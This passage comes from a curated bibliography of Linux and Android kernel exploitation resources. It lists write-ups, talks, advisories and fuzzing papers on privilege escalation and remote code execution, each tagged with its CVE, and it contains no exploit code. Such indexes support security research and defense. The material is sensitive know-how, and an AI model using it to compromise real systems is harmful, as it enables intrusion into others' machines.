[[video](https://www.youtube.com/watch?v=WOdRkZwGYDQ)] [CVE-2019-2025] [2020: "CVE-2020-8835: Linux Kernel Privilege Escalation via Improper eBPF Program Verification" by Manfred Paul](https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification) [article] [CVE-2020-8835] [2020: "Mitigations are attack surface, too" by Jann Horn](https://googleprojectzero.blogspot.com/2020/02/mitigations-are-attack-surface-too.html) [article] [2020: "CVE-2019-18683: Exploiting a Linux kernel vulnerability in the V4L2 subsystem" by Alexander Popov](https://a13xp0p0v.github.io/2020/02/15/CVE-2019-18683.html) [article] [[slides](https://a13xp0p0v.github.io/img/CVE-2019-18683.pdf)] [CVE-2019-18683] [2020: "Multiple Kernel Vulnerabilities Affecting All Qualcomm Devices" by Tamir Zahavi-Brunner](https://blog.zimperium.com/multiple-kernel-vulnerabilities-affecting-all-qualcomm-devices/) [article] [CVE-2019-14040, CVE-2019-14041] [2019: "CVE-2017-16995 Analysis - eBPF Sign Extension LPE" by senyuuri](https://blog.senyuuri.info/2019/01/19/kernel-epbf-sign-extension/) [article] [CVE-2017-16995] [2019: "Kernel Research / mmap handler exploitation" by deshal3v](https://deshal3v.github.io/blog/kernel-research/mmap_exploitation) [article] [CVE-2019-18675] [2019: "Bad Binder: Android In-The-Wild Exploit" by Maddie Stone](https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html) [article] [CVE-2019-2215] [2019: "Analyzing Android's CVE-2019-2215 (/dev/binder UAF)"](https://dayzerosec.com/posts/analyzing-androids-cve-2019-2215-dev-binder-uaf/) [article] [CVE-2019-2215] [2019: "Stream Cut: Android Kernel Exploitation with Binder Use-After-Free (CVE-2019-2215)"](https://www.youtube.com/watch?v=yrLXvmzUQME) [video] [CVE-2019-2215] [2019: "CVE-2019-2215 - Android kernel binder vulnerability analysis"](https://xz.aliyun.com/t/6853) [article] [CVE-2019-2215] [2019: "Deep Analysis of Exploitable Linux Kernel Vulnerabilities" by Tong Lin and Luhai Chen at Linux Security Summit EU](https://www.youtube.com/watch?v=MYEAGmP_id4) [video] [CVE-2017-16995, CVE-2017-10661] [2019: "Tailoring CVE-2019-2215 to Achieve Root" by Grant Hernandez](https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/) [article] [CVE-2019-2215] [2019: "From Zero to Root: Building Universal Android Rooting with a Type Confusion Vulnerability" by Wang Yong](https://github.com/ThomasKing2014/slides/blob/master/Building%20universal%20Android%20rooting%20with%20a%20type%20confusion%20vulnerability.pdf) [slides] [CVE-2018-9568, WrongZone] [2019: "KARMA takes a look at offense and defense: WrongZone from exploitation to repair"](https://mp.weixin.qq.com/s?__biz=MzA3NTQ3ODI0NA==&mid=2247485060&idx=1&sn=b3773b0478f7b5ee39fa1a6527b4f3ff) [article] [CVE-2018-9568, WrongZone] [2019: "Android Binder: The Bridge To Root" by Hongli Han and Mingjian Zhou](https://conference.hitb.org/hitbsecconf2019ams/materials/D2T2%20-%20Binder%20-%20The%20Bridge%20to%20Root%20-%20Hongli%20Han%20&%20Mingjian%20Zhou.pdf) [slides] [CVE-2019-2025] [2019: "The ‘Waterdrop’ in Android: A Binder Kernel Vulnerability" by Hongli Han](http://blogs.360.cn/post/Binder_Kernel_Vul_EN.html) [article] [CVE-2019-2025] [2019: "An Exercise in Practical Container Escapology" by Nick Freeman](https://capsule8.com/blog/practical-container-escape-exercise/) [article] [CVE-2017-1000112] [2019: "Taking a page from the kernel's book: A TLB issue in mremap()" by Jann Horn](https://googleprojectzero.blogspot.com/2019/01/taking-page-from-kernels-book-tlb-issue.html) [article] [CVE-2018-18281] [2019: "CVE-2018-18281 - Analysis of TLB Vulnerabilities in Linux Kernel"](https://xz.aliyun.com/t/4005) [article] [2019: "Analysis of Linux xfrm Module Cross-Border Read-Write Escalation Vulnerability (CVE-2017-7184)"](http://p4nda.top/2019/02/16/CVE-2017-7184/) [article] [CVE-2017-7184] [2019: "Analysis of Escalation Vulnerability Caused by Integer Extension of Linux ebpf Module (CVE-2017-16995)"](http://p4nda.top/2019/01/18/CVE-2017-16995/) [article] [CVE-2017-16995] [2019: "Linux kernel 4.20 BPF integer overflow vulnerability analysis"](http://p4nda.top/2019/01/02/kernel-bpf-overflow/) [article] [2019: "Attacking DRM subsystem to gain kernel privilege on Chromebooks" by Di Shen](https://speakerdeck.com/retme7/attacking-drm-subsystem-to-gain-kernel-privilege-on-chromebooks) [slides] [[video](https://www.youtube.com/watch?v=lBgtZvIxEwA)] [CVE-2019-16508] [2018: "Linux kernel 4.20 BPF integer overflow-heap overflow vulnerability and its exploitation"](https://www.anquanke.com/post/id/166819) [article] [2018: "CVE-2017-11176: A step-by-step Linux Kernel exploitation](https://blog.lexfo.fr/) [article] [CVE-2017-11176] [2018: "A cache invalidation bug in Linux memory management" by Jann Horn](https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug-in-linux.html) [article] [CVE-2018-17182] [2018: "Dissecting a 17-year-old kernel bug" by Vitaly Nikolenko at beVX](https://cyseclabs.com/slides/bevx-talk.pdf) [slides] [CVE-2018-6554, CVE-2018-6555] [2018: "SSD Advisory – IRDA Linux Driver UAF"](https://blogs.securiteam.com/index.php/archives/3759) [article] [CVE-2018-6554, CVE-2018-6555] [2018: "Integer overflow in Linux's create_elf_tables()"](https://www.openwall.com/lists/oss-security/2018/09/25/4) [announcement] [CVE-2018-14634] [2018: "MMap Vulnerabilities – Linux Kernel"](https://research.checkpoint.com/mmap-vulnerabilities-linux-kernel/) [article] [CVE-2018-8781] [2018: "Ubuntu kernel eBPF 0day analysis"](https://security.tencent.com/index.php/blog/msg/124) [article] [CVE-2017-16995] [2018: "eBPF and Analysis of the get-rekt-linux-hardened.c Exploit for CVE-2017-16995"](https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html) [article] [CVE-2017-16695] [2017: "Challenge Impossible -- Multiple Exploit On Android" by Hanxiang Wen and Xiaodong Wang](https://hitcon.org/2017/CMT/slide-files/d1_s4_r2.pdf) [slides] [CVE-2017-0437] [2017: "CVE-2017-1000112: Exploiting an out-of-bounds bug in the Linux kernel UFO packets" by Andrey Konovalov](https://xairy.io/articles/cve-2017-1000112) [article] [CVE-2017-1000112] [2017: "Linux Kernel Vulnerability Can Lead to Privilege Escalation: Analyzing CVE-2017-1000112" by Krishs Patil](https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/) [article] [CVE-2017-1000112] [2017: "Adapting the POC for CVE-2017-1000112 to Other Kernels"](https://ricklarabee.blogspot.de/2017/12/adapting-poc-for-cve-2017-1000112-to.html) [article] [CVE-2017-1000112] [2017: "The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel" by Di Shen](https://speakerdeck.com/retme7/the-art-of-exploiting-unconventional-use-after-free-bugs-in-android-kernel) [slides] [CVE-2017-0403, CVE-2016-6787] [[video](https://www.youtube.com/watch?v=U2qvK1hJ6zg)] [2017: "Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!" by Chris Salls](https://salls.github.io/Linux-Kernel-CVE-2017-5123/) [article] [CVE-2017-5123] [2017: "Exploiting CVE-2017-5123" by Federico Bento](https://reverse.put.as/2017/11/07/exploiting-cve-2017-5123/) [article] [CVE-2017-5123] [2017: "Escaping Docker container using waitid() – CVE-2017-5123" by Daniel Shapira](https://www.twistlock.com/2017/12/27/escaping-docker-container-using-waitid-cve-2017-5123/) [article] [CVE-2017-5123] [2017: "LKE v4.13.x - waitid() LPE" by HyeongChan Kim](http://kozistr.tech/sec-res/2017/10/29/LKE-CVE-2017-5123.html) [article] [CVE-2017-5123] [2017: "Exploiting on CVE-2016-6787"](https://hardenedlinux.github.io/system-security/2017/10/16/Exploiting-on-CVE-2016-6787.html) [article] [CVE-2016-6787] [2017: "Race For Root: The Analysis Of The Linux Kernel Race Condition Exploit" by Alexander Popov](https://www.youtube.com/watch?v=g7Qm0NpPAz4) [video] [CVE-2017-2636] [2017: "Race For Root: The Analysis Of The Linux Kernel Race Condition Exploit" by Alexander Popov](https://program.sha2017.org/system/event_attachments/attachments/000/000/111/original/a13xp0p0v_race_for_root_SHA2017.pdf) [slides] [CVE-2017-2636] [2017: "CVE-2017-2636: exploit the race condition in the n_hdlc Linux kernel driver bypassing SMEP" by Alexander Popov](https://a13xp0p0v.github.io/2017/03/24/CVE-2017-2636.html) [article] [CVE-2017-2636] [2017: "CVE-2017-2636: local privilege escalation flaw in n_hdlc" by Alexander Popov](http://seclists.org/oss-sec/2017/q1/569) [announcement] [CVE-2017-2636] [2017: "Dirty COW and why lying is bad even if you are the Linux kernel"](https://chao-tic.github.io/blog/2017/05/24/dirty-cow) [article] [CVE-2016-5195] [2017: "NDAY-2017-0103: Arbitrary kernel write in sys_oabi_epoll_wait" by Zuk Avraham](https://blog.zimperium.com/nday-2017-0103-arbitrary-kernel-write-in-sys_oabi_epoll_wait/) [article] [CVE-2016-3857] [2017: "NDAY-2017-0106: Elevation of Privilege in NVIDIA nvhost-vic driver" by Zuk Avraham](https://blog.zimperium.com/nday-2017-0106-elevation-of-privilege-in-nvidia-nvhost-vic-driver/) [article] [CVE-2016-2434] [2017: "PWN2OWN 2017 Linux kernel privilege escalation analysis"](https://zhuanlan.zhihu.com/p/26674557) [article] [CVE-2017-7184] [2017: "Exploiting the Linux kernel via packet sockets" by Andrey Konovalov](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html) [article] [CVE-2017-7308] [2017: "NDAY-2017-0105: Elevation of Privilege Vulnerability in MSM Thermal Drive" by Zuk Avraham](https://blog.zimperium.com/nday-2017-0105-elevation-of-privilege-vulnerability-in-msm-thermal-driver/) [article] [CVE-2016-2411] [2017: "NDAY-2017-0102: Elevation of Privilege Vulnerability in NVIDIA Video Driver" by Zuk Avraham](https://blog.zimperium.com/nday-2017-0102-elevation-of-privilege-vulnerability-in-nvidia-video-driver/) [article] [CVE-2016-2435] [2017: "CVE-2017-6074: Exploiting a double-free in the Linux kernel DCCP sockets" by Andrey Konovalov](https://xairy.io/articles/cve-2017-6074) [article] [CVE-2017-6074] [2016: "CVE-2016-8655 Linux af_packet.c race condition (local root)" by Philip Pettersson](http://seclists.org/oss-sec/2016/q4/607) [announcement] [CVE-2016-8655] [2016: "Rooting Every Android From Extension To Exploitation" by Di Shen and James Fang at Black Hat](https://speakerdeck.com/retme7/rooting-every-android-from-extension-to-exploitation) [slides] [[article](https://www.blackhat.com/docs/eu-16/materials/eu-16-Shen-Rooting-Every-Android-From-Extension-To-Exploitation-wp.pdf)] [CVE-2015-0570, CVE-2016-0820, CVE-2016-2475, CVE-2016-8453] [2016: "Talk is Cheap, Show Me the Code" by James Fang, Di Shen and Wen Niu](https://speakerdeck.com/retme7/talk-is-cheap-show-me-the-code) [slides] [CVE-2015-1805] [2016: "CVE-2016-3873: Arbitrary Kernel Write in Nexus 9" by Sagi Kedmi](https://sagi.io/2016/09/cve-2016-3873-arbitrary-kernel-write-in-nexus-9/) [article] [CVE-2016-3873] [2016: "Exploiting Recursion in the Linux Kernel" by Jann Horn](https://googleprojectzero.blogspot.de/2016/06/exploiting-recursion-in-linux-kernel_20.html) [article] [CVE-2016-1583] [2016: "ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)" By Perception Point Research Team](http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/) [article] [CVE-2016-0728] [2016: "CVE20160728 Exploit Code Explained" by Shilong Zhao](http://dreamhack.it/linux/2016/01/25/cve-2016-0728-exploit-code-explained.html) [article] [CVE-2016-0728] [2016: "CVE-2016-0728 vs Android" by Collin Mulliner](https://www.mulliner.org/blog/blosxom.cgi/security/CVE-2016-0728_vs_android.writeback?advanced_search=1) [article] [CVE-2016-0728] [2016: "Notes about CVE-2016-7117" by Lizzie Dixon](https://blog.lizzie.io/notes-about-cve-2016-7117.html) [article] [CVE-2016-7117] [2016: "CVE-2016-2384: exploiting a double-free in the usb-midi linux kernel driver" by Andrey Konovalov](https://xairy.github.io/blog/2016/cve-2016-2384) [article] [CVE-2016-2384] [2016: "CVE-2016-6187: Exploiting Linux kernel heap off-by-one" by Vitaly Nikolenko](https://cyseclabs.com/blog/cve-2016-6187-heap-off-by-one-exploit) [article] [CVE-2016-6187] [2016: "CVE-2014-2851 group_info UAF Exploitation" by Vitaly Nikolenko](https://cyseclabs.com/page?n=02012016) [article] [CVE-2014-2851] [2016: "Perf: From Profiling To Kernel Exploiting" by Wish Wu at HITB Ams](https://conference.hitb.org/hitbsecconf2016ams/wp-content/uploads/2015/11/D2T2-Wish-Wu-Perf-From-Profiling-to-Kernel-Exploiting.pdf) [slides] [[video](https://www.youtube.com/watch?v=37v14rMtALs)] [CVE-2016-0819] [2016: "QUADROOTER: NEW VULNERABILITIES AFFECTING OVER 900 MILLION ANDROID DEVICES"](https://www.blackhat.com/docs/eu-16/materials/eu-16-Donenfeld-Stumping-The-Mobile-Chipset-wp.pdf) [article] [CVE-2016-2503, CVE-2106-2504, CVE-2016-2059, CVE-2016-5340] [2016: "STUMPING THE MOBILE CHIPSET: New 0days from down under" by Adam Donenfeld at DEF CON](https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Adam-Donenfeld-Stumping-The-Mobile-Chipset.pdf) [slides] [CVE-2016-2503, CVE-2106-2504, CVE-2016-2059, CVE-2016-5340] [2015: "Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)" by Gal Beniamini](https://bits-please.blogspot.de/2015/08/android-linux-kernel-privilege.html) [article] [CVE-2014-4322] [2015: "Exploiting "BadIRET" vulnerability" by Rafal Wojtczuk](https://web.archive.org/web/20171118232027/https://blogs.bromium.com/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/) [article] [CVE-2014-9322] [2015: "Follow-up on Exploiting "BadIRET" vulnerability (CVE-2014-9322)" by Adam Zabrocki](http://blog.pi3.com.pl/?p=509) [article] [CVE-2014-9322] [2015: "Ah! Universal Android Rooting Is Back" by Wen Xu at Black Hat](https://www.blackhat.com/docs/us-15/materials/us-15-Xu-Ah-Universal-Android-Rooting-Is-Back.pdf) [slides] [[video](https://www.youtube.com/watch?v=HVP1c7Ct1nM)] [[paper](https://www.blackhat.com/docs/us-15/materials/us-15-Xu-Ah-Universal-Android-Rooting-Is-Back-wp.pdf)] [CVE-2015-3636] [2015: "When is something overflowing" by Keen Team](https://www.slideshare.net/PeterHlavaty/overflow-48573748) [slides] [2015: "Exploiting the DRAM rowhammer bug to gain kernel privileges" by Mark Seaborn and Thomas Dullien](https://googleprojectzero.blogspot.de/2015/03/exploiting-dram-rowhammer-bug-to-gain.html) [article] [Rowhammer] [2015: "CVE-2014-4943 - PPPoL2TP DoS Analysis" by Vitaly Nikolenko](https://cyseclabs.com/page?n=01102015) [article] [CVE-2014-4943] [2015: "CVE-2015-0568: Use-After-Free Vulnerability in the Camera Driver of Qualcomm MSM 7x30"](http://c0reteam.org/2015/11/18/cve-20150568) [article] [CVE-2015-0568] [2014: "Exploiting CVE-2014-0196 a walk-through of the Linux pty race condition PoC" by Samuel Gross](http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html) [article] [CVE-2014-0196] [2014: "CVE-2014-4014: Linux Kernel Local Privilege Escalation "exploitation"" by Vitaly Nikolenko](https://cyseclabs.com/blog/cve-2014-4014-local-privilege-escalation) [article] [CVE-2014-4014] [2014: "CVE-2014-4699: Linux Kernel ptrace/sysret vulnerability analysis" by Vitaly Nikolenko](https://cyseclabs.com/blog/cve-2014-4699-linux-kernel-ptrace-sysret-analysis) [article] [CVE-2014-4699] [2014: "How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038" by Samuel Gross](http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html) [article] [CVE-2014-0038] [2014: "Exploiting the Futex Bug and uncovering Towelroot"](http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/) [article] [CVE-2014-3153] [2014: "CVE-2014-3153 Exploit" by Joel Eriksson](http://www.clevcode.org/cve-2014-3153-exploit/) [article] [CVE-2014-3153] [2013: "Privilege Escalation Kernel Exploit" by Julius Plenz](https://blog.plenz.com/2013-02/privilege-escalation-kernel-exploit.html) [article] [CVE-2013-1763] [2013: "A closer look at a recent privilege escalation bug in Linux (CVE-2013-2094)" by Joe Damato](http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/) [article] [CVE-2013-2094] [2012: "Linux Local Privilege Escalation via SUID /proc/pid/mem Write" by Jason Donenfeld](https://git.zx2c4.com/CVE-2012-0056/about/) [article] [CVE-2012-0056] [2011: "Kernel Exploitation Via Uninitialized Stack" by Kees Cook at DEF CON](https://www.defcon.org/images/defcon-19/dc-19-presentations/Cook/DEFCON-19-Cook-Kernel-Exploitation.pdf) [slides] [[video](https://www.youtube.com/watch?v=jg-wnwnkbsy)] [CVE-2010-2963] [2010: "CVE-2010-2963 v4l compat exploit" by Kees Cook](https://outflux.net/blog/archives/2010/10/19/cve-2010-2963-v4l-compat-exploit/) [article] [CVE-2010-2963] [2010: "Exploiting large memory management vulnerabilities in Xorg server running on Linux" by Rafal Wojtczuk](http://invisiblethingslab.com/resources/misc-2010/xorg-large-memory-attacks.pdf) [article] [CVE-2010-2240] [2010: "CVE-2007-4573: The Anatomy of a Kernel Exploit" by Nelson Elhage](https://blog.nelhage.com/2010/02/cve-2007-4573-the-anatomy-of-a-kernel-exploit/) [article] [CVE-2007-4573] [2010: "Linux Kernel CAN SLUB Overflow" by Jon Oberheide](https://jon.oberheide.org/blog/2010/09/10/linux-kernel-can-slub-overflow/) [article] [CVE-2010-2959] [2010: "af_can linux kernel overflow" by Ben Hawkes](http://inertiawar.com/af_can/) [article] [CVE-2010-2959] [2010: "linux compat vulns (part 1)" by Ben Hawkes](http://inertiawar.com/compat1/) [article] [CVE-2010-3081] [2010: "linux compat vulns (part 2)" by Ben Hawkes](http://inertiawar.com/compat2/) [article] [CVE-2010-3301] [2010: "Some Notes on CVE-2010-3081 Exploitability"](https://blog.nelhage.com/2010/11/exploiting-cve-2010-3081/) [article] [CVE-2010-3081] [2010: "Anatomy of an exploit: CVE-2010-3081"](https://blogs.oracle.com/ksplice/anatomy-of-an-exploit%3a-cve-2010-3081) [article] [CVE-2010-3081] [2010: "CVE-2010-4258: Turning denial-of-service into privilege escalation" by Nelson Elhage](https://blog.nelhage.com/2010/12/cve-2010-4258-from-dos-to-privesc/) [article] [CVE-2010-4258] [2009: "Linux NULL pointer dereference due to incorrect proto_ops initializations (CVE-2009-2692)"](http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html) [article] [CVE-2009-2692] [2009: "Even when one byte matters"](https://kernelbof.blogspot.de/2009/07/even-when-one-byte-matters.html) [article] [CVE-2009-1046] [2009: "CVE-2008-0009/CVE-2008-0010: Linux kernel vmsplice(2) Privilege Escalation"](https://xorl.wordpress.com/2009/08/10/cve-2008-0600cve-2008-0010-linux-kernel-vmsplice2-privilege-escalation/) [article] [CVE-2008-0009, CVE-2008-0010] [2008: "vmsplice(): the making of a local root exploit" by Jonathan Corbet](https://lwn.net/Articles/268783/) [article] [CVE-2008-0600] [2004: "Linux kernel do_mremap VMA limit local privilege escalation vulnerability"](http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt) [article] [CVE-2004-0077] ### RCE [2023: "Abusing Linux In-Kernel SMB Server to Gain Kernel Remote Code Execution" by Guillaume Teissier and Quentin Minster](https://www.youtube.com/watch?v=XT6jLBbzwFM) [video] [CVE-2022-47943] [CVE-2023-2593] [2022: "Writing a Linux Kernel Remote in 2022" by Samuel Page](https://blog.immunityinc.com/p/writing-a-linux-kernel-remote-in-2022/) [article] [[slides](https://conference.hitb.org/hitbsecconf2022sin/materials/D1T1%20-%20Erybody%20Gettin%20TIPC%20-%20Demystifying%20Remote%20Linux%20Kernel%20Exploitation%20-%20Sam%20Page.pdf)] [CVE-2022-0435] [2022: "Zenith: Pwn2Own TP-Link AC1750 Smart Wi-Fi Router Remote Code Execution Vulnerability" by Axel Souchet](https://github.com/0vercl0k/zenith) [article] [CVE-2022-24354] [2021: "BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution" by Andy Nguyen](https://google.github.io/security-research/pocs/linux/bleedingtooth/writeup): [BadChoice](https://github.com/google/security-research/security/advisories/GHSA-7mh3-gq28-gfrq), [BadKarma](https://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq), [BadVibes](https://github.com/google/security-research/security/advisories/GHSA-ccx2-w2r4-x649) [article] [CVE-2020-12352, CVE-2020-12351, CVE-2020-24490] [2017: "Over The Air: Exploiting Broadcom’s Wi-Fi Stack (Part 2)" by Gal Beniamini](https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_11.html) [article] [CVE-2017-0569] [2017: "BlueBorn: The dangers of Bluetooth implementations: Unveiling zero day vulnerabilities and security flaws in modern Bluetooth stacks"](http://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper.pdf?t=1505222709963) [paper] [CVE-2017-1000251] [2016: "CVE Publication: CVE 2016-8633" by Eyal Itkin](https://eyalitkin.wordpress.com/2016/11/06/cve-publication-cve-2016-8633/) [article] [CVE-2016-8633] [2011: "Owned Over Amateur Radio: Remote Kernel Exploitation in 2011" at DEF CON](http://cs.dartmouth.edu/~sergey/cs258/2012/Dan-Rosenberg-lecture.pdf) [slides] [[video](https://www.youtube.com/watch?v=kBjD0HITQZA)] [CVE-2011-1493] [2009: "When a "potential D.o.S." means a one-shot remote kernel exploit: the SCTP story"](https://kernelbof.blogspot.de/2009/04/kernel-memory-corruptions-are-not-just.html) [article] [CVE-2009-0065] ### Other [2023: "Linux IPv6 'Route of Death' 0day" by Max VA](https://www.interruptlabs.co.uk/articles/linux-ipv6-route-of-death) [article] [CVE-2023-2156] [2022: "Linux Kernel: Infoleak in Bluetooth L2CAP Handling"](https://github.com/google/security-research/security/advisories/GHSA-vccx-8h74-2357) [advisory] [CVE-2022-42895] [2022: "Linux Kernel: UAF in Bluetooth L2CAP Handshake"](https://github.com/google/security-research/security/advisories/GHSA-pf87-6c9q-jvm4) [advisory] [CVE-2022-42896] [2022: "Vulnerability Details for CVE-2022-41218"](https://github.com/V4bel/CVE-2022-41218) [article] [CVE-2022-41218] [2022: "Racing Cats to the Exit: A Boring Linux Kernel Use-After-Free"](https://accessvector.net/2022/linux-itimers-uaf) [article] [2022: "Android Universal Root: Exploiting xPU Drivers"](https://i.blackhat.com/USA-22/Wednesday/US-22-Jin-Android-Universal-Root.pdf) [slides] [CVE-2022-20122] [CVE-2021-39815] [2022: "The quantum state of Linux kernel garbage collection CVE-2021-0920 (Part I)" by Xingyu Jin](https://googleprojectzero.blogspot.com/2022/08/the-quantum-state-of-linux-kernel.html) [article] [CVE-2021-0920] [2022: "Finding bugs in the Linux Kernel Bluetooth Subsystem" by Itay Iellin](https://itayie.me/linux/2022/07/29/finding-bugs-in-the-linux-kernel-bt-subsystem-part-1.html) [article] [[part 2](https://itayie.me/linux/2022/07/29/finding-bugs-in-the-linux-kernel-bt-subsystem-part-2.html)] [2022: "CVE-2022-0435: A Remote Stack Overflow in The Linux" by Samuel Page](https://blog.immunityinc.com/p/a-remote-stack-overflow-in-the-linux-kernel/) [article] [CVE-2022-0435] [2022: "CVE-2021-45608 | NetUSB RCE Flaw in Millions of End User Routers" by Max Van Amernngen](https://www.sentinelone.com/labs/cve-2021-45608-netusb-rce-flaw-in-millions-of-end-user-routers/) [article] [CVE-2021-45608] [2021: "CVE-2021-1048: refcount increment on mid-destruction file" by Jann Horn](https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-1048.html) [article] [CVE-2021-1048] [2021: "Achieving Linux Kernel Code Execution Through a Malicious USB Device" by Martijn Bogaard and Dana Geist](https://i.blackhat.com/EU-21/Thursday/EU-21-Bogaard-Geist-Achieving-Linux-Kernel-Code-Execution-Through-A-Malicious-USB-Device.pdf) [slides] [CVE-2016-2384] [2021: "SLUB overflow CVE-2021-42327"](https://docfate111.github.io/blog/securityresearch/2021/11/08/SLUBoverflow.html) [article] [CVE-2021-42327] [2021: "CVE-2021-44733: Fuzzing and exploitation of a use-after-free in the Linux kernel TEE subsystem" by pjlantz](https://github.com/pjlantz/optee-qemu) [article] [[poc](https://github.com/pjlantz/optee_examples/tree/master/exploit/host)] [CVE-2021-44733] [2021: "CVE-2021-43267: Remote Linux Kernel Heap Overflow | TIPC Module Allows Arbitrary Code Execution" by Max Van Amerongen](https://www.sentinelone.com/labs/tipc-remote-linux-kernel-heap-overflow-allows-arbitrary-code-execution/) [article] [CVE-2021-43267] [2021: "An EPYC escape: Case-study of a KVM breakout" by Felix Wilhelm](https://googleprojectzero.blogspot.com/2021/06/an-epyc-escape-case-study-of-kvm.html) [article] [CVE-2021-29657] [2021: "CVE-2021-1905: Qualcomm Adreno GPU memory mapping use-after-free" by Ben Hawkes](https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-1905.html) [article] [CVE-2021-1905] [2021: "A foray into Linux kernel exploitation on Android" by Ayaz Mammadov](https://mcyoloswagham.github.io/linux/) [article] [2020: "CVE-2020-16119"](https://github.com/HadarManor/Public-Vulnerabilities/blob/master/CVE-2020-16119/CVE-2020-16119.md) [article] [CVE-2020-16119] [2020: "The short story of 1 Linux Kernel Use-After-Free bug and 2 CVEs (CVE-2020-14356 and CVE-2020-25220)" by Adam Zabrocki](http://blog.pi3.com.pl/?p=720) [article] [CVE-2020-14356, CVE-2020-25220] [2020: "Curiosity around 'exec_id' and some problems associated with it" by Adam Zabrocki](https://www.openwall.com/lists/kernel-hardening/2020/03/25/1) [article] [2020: "The never ending problems of local ASLR holes in Linux"](https://blog.blazeinfosec.com/the-never-ending-problems-of-local-aslr-holes-in-linux/) [article] [CVE-2019-11190] [2019: "Reverse-engineering Broadcom wireless chipsets" by Hugues Anguelkov](https://blog.quarkslab.com/reverse-engineering-broadcom-wireless-chipsets.html) [article] [CVE-2019-9503, CVE-2019-9500] [2019: "CVE-2019-2000 - Android kernel binder vulnerability analysis"](https://xz.aliyun.com/t/4494) [article] [CVE-2019-2000] [2019: "Linux: virtual address 0 is mappable via privileged write() to /proc/\*/mem"](https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2) [article] [CVE-2019-9213] [2019: "CVE-2019-9213 - Analysis of Linux Kernel User Space 0 Virtual Address Mapping Vulnerability"](https://cert.360.cn/report/detail?id=58e8387ec4c79693354d4797871536ea) [article] [CVE-2019-9213] [2018: "IOMMU-resistant DMA attacks" by Gil Kupfer](http://www.cs.technion.ac.il/users/wwwb/cgi-bin/tr-get.cgi/2018/MSC/MSC-2018-21.pdf) [thesis] [2017: "initroot: Bypassing Nexus 6 Secure Boot through Kernel Command-line Injection"](https://alephsecurity.com/2017/05/23/nexus6-initroot/#anecdote-a-linux-kernel-out-of-bounds-write-cve-2017-1000363) [article] [CVE-2017-1000363] [2016: "Motorola Android Bootloader Kernel Cmdline Injection Secure Boot Bypass"](https://alephsecurity.com/vulns/aleph-2017011) [article] [CVE-2016-10277] [2015: "Vulnerability in the Linux Crypto API that allows unprivileged users to load arbitrary kernel modules" by Mathias Krause](https://plus.google.com/+MathiasKrause/posts/PqFCo4bfrWu) [annnouncement] ## Finding Bugs [2023: "UNCONTAINED: Uncovering Container Confusion in the Linux Kernel" by Jakob Koschel, Pietro Borrello, et al.](https://download.vusec.net/papers/uncontained_sec23.pdf) [paper] [2023: "KIT: Testing OS-Level Virtualization for Functional Interference Bugs"](https://dl.acm.org/doi/pdf/10.1145/3575693.3575731) [paper] [2023: "SyzDescribe: Principled, Automated, Static Generation of Syscall Descriptions for Kernel Drivers"](https://www.cs.ucr.edu/~zhiyunq/pub/oakland23_syzdescribe.pdf) [paper] [[slides](https://static.sched.com/hosted_files/lssna2023/94/LSS-NA-23-SyzDescribe.pdf)] [2023: "Precise Detection of Kernel Data Races with Probabilistic Lockset Analysis"](https://www.cs.columbia.edu/~gabe/files/oakland2023_pla.pdf) [paper] [2023: "No Grammar, No Problem: Towards Fuzzing the Linux Kernel without System-Call Descriptions"](https://www.ndss-symposium.org/wp-content/uploads/2023/02/ndss2023_f688_paper.pdf) [paper] [2023: "FirmSolo: Enabling dynamic analysis of binary Linux-based IoT kernel modules"](https://www.usenix.org/system/files/sec23summer_190-angelakopoulos-prepub.pdf) [paper] [2022: "Event-based Fuzzing, Patch-based Research, and Comment Police: Finding Bugs Through a Bug"](https://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-LiYang-Event-based-Fuzzing-Patch-based.pdf) [slides] [[video](https://www.youtube.com/watch?v=mPiv0eZlx9w)] [2022: "Breaking the Glass Sandbox - Find Linux Kernel Bugs and Escape" by Valentina Palmiotti at REcon](https://cfp.recon.cx/media/2022/submissions/EVBN3B/resources/recon_7TKNBIm.pdf) [slides] [[video](https://www.youtube.com/watch?v=2R46lJsOOTE)] [2022: "Sanitizing the Linux kernel: On KASAN and other Dynamic Bug-finding Tools" by Andrey Konovalov](https://docs.google.com/presentation/d/1qA8fqRDHKX_WM_ZdDN37EQQZwSTNJ4FFws82tbUSKxY/edit?usp=sharing) [slides] [[video](https://www.youtube.com/watch?v=KmFVPyHyfqQ)] [[article](https://lwn.net/Articles/909245/)] [2022: 